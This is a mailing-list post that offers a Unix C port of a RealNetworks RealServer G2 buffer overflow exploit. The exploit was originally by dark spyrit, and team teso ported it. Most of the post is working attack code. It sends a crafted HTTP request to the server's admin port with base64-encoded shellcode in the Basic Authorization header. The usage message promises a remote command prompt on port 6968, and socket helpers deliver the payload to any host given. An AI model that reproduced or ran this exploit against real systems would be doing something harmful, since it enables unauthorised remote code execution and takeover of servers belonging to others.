realown.c, unix port of realown.asm by dark spyrit

[scut () NB IN-BERLIN DE (Sebastian)]

Hi.

nothing special, nothing new, just the unix version of the exploit.
Nothing else has been changed.

yeah, i know, lame. :)

ciao,
scut / teso security
[http://teso.scene.at/]

--
- scut () nb in-berlin de - http://nb.in-berlin.de/scut/ -  - http://nb.in-berlin.de/scut/ - sacbuctd@ircnet  --
-- you don't need a lot of people to be great, you need a few great to be --
-- the best -----------------------------------------------------------------
--- nuclear arrival weapon spy agent remain undercover, hi echelon ----------


/* RealNetworks RealServer G2 buffer overflow exploit

 *

 * by dark spyrit <dspyrit () beavuh org>

 * quick unix port by team teso

 *

 * the windows binary is available at http://www.beavuh.org.

 *

 * This exploits a buffer overflow in RealServers web authentication on

 * the administrator port - hence the reason the shellcode is base64 encoded.

 * This has been tested on the NT version with a default installation.

 * If RealServer is installed in a different directory than the default, the

 * buffer will need to be adjusted accordingly.

 * The administrator port is randomly selected at installation, but as you'll

 * only be testing on your own networks this won't matter :)

 */



#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <errno.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <fcntl.h>

#include <netdb.h>





/* local functions

 */

unsigned long int       net_resolve (char *host);

int                     net_connect (struct sockaddr_in *cs, char *server,

        unsigned short int port, int sec);



unsigned char   sploit[] =

        "GET /admin/index.html HTTP/1.0\x0d\x0a"

        "Connection: Keep-Alive\x0d\x0a"

        "User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"

        "Host: 111.111.11.1:1111\x0d\x0a"

        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"

        "Accept-Language: en\x0d\x0a"

        "Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"

        "Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"

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        "28P9XzP92/P9XzEhQUFP/V/SL2DPAtARQwegEUP9X1IvwM8CLyLUEUFBXUVD/d6j/V9CDP"

        "wF8IjPAUFf/N1b/d6j/V9wLwHQvM8BQ/zdWU/9X+GpQ/1fg68gzwFC0BFBWU/9X/FczyVF"

        "QVv93rP9X2GpQ/1fg66pQ/1fkkNLcy9fc1aqrmdrr/Pjt/Mnw6fyZ3vztyu346+3s6dD3/"

        "/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"

        "19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68"

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        "84fyZ/////w==\x0d\x0a\x0d\x0a\x00";





int

main (int argc, char **argv)

{

        int                     socket;

        char                    *server;

        unsigned short int      port;

        struct sockaddr_in      sa;



        if (argc != 3) {

                printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"

                        "by dark spyrit <dspyrit () beavuh org>, port by team teso\n\n"

                        "usage: %s <host> <admin_port>\n"

                        "eg - %s host.com 6666\n"

                        "the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);



                exit (EXIT_FAILURE);

        }



        server = argv[1];

        port = atoi (argv[2]);



        socket = net_connect (&sa, server, port, 45);

        if (socket <= 0) {

                perror ("net_connect");

                exit (EXIT_FAILURE);

        }



        write (socket, sploit, strlen (sploit));

        sleep (1);

        close (socket);



        printf ("data sent. try \"telnet %s 6968\" now \n", server);



        exit (EXIT_SUCCESS);

}





unsigned long int

net_resolve (char *host)

{

        long            i;

        struct hostent  *he;



        i = inet_addr (host);

        if (i == -1) {

                he = gethostbyname (host);

                if (he == NULL) {

                        return (0);

                } else {

                        return (*(unsigned long *) he->h_addr);

                }

        }



        return (i);

}





int

net_connect (struct sockaddr_in *cs, char *server,

        unsigned short int port, int sec)

{

        int             n, len, error, flags;

        int             fd;

        struct timeval  tv;

        fd_set          rset, wset;



        /* first allocate a socket */

        cs->sin_family = AF_INET;

        cs->sin_port = htons (port);

        fd = socket (cs->sin_family, SOCK_STREAM, 0);

        if (fd == -1)

                return (-1);



        cs->sin_addr.s_addr = net_resolve (server);

        if (cs->sin_addr.s_addr == 0) {

                close (fd);

                return (-1);

        }



        flags = fcntl (fd, F_GETFL, 0);

        if (flags == -1) {

                close (fd);

                return (-1);

        }

        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);

        if (n == -1) {

                close (fd);

                return (-1);

        }



        error = 0;



        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));

        if (n < 0) {

                if (errno != EINPROGRESS) {

                        close (fd);

                        return (-1);

                }

        }

        if (n == 0)

                goto done;



        FD_ZERO(&rset);

        FD_ZERO(&wset);

        FD_SET(fd, &rset);

        FD_SET(fd, &wset);

        tv.tv_sec = sec;

        tv.tv_usec = 0;



        n = select(fd + 1, &rset, &wset, NULL, &tv);

        if (n == 0) {

                close(fd);

                errno = ETIMEDOUT;

                return (-1);

        }

        if (n == -1)

                return (-1);



        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {

                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {

                        len = sizeof(error);

                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {

                                errno = ETIMEDOUT;

                                return (-1);

                        }

                        if (error == 0) {

                                goto done;

                        } else {

                                errno = error;

                                return (-1);

                        }

                }

        } else

                return (-1);



done:

        n = fcntl(fd, F_SETFL, flags);

        if (n == -1)

                return (-1);



        return (fd);

}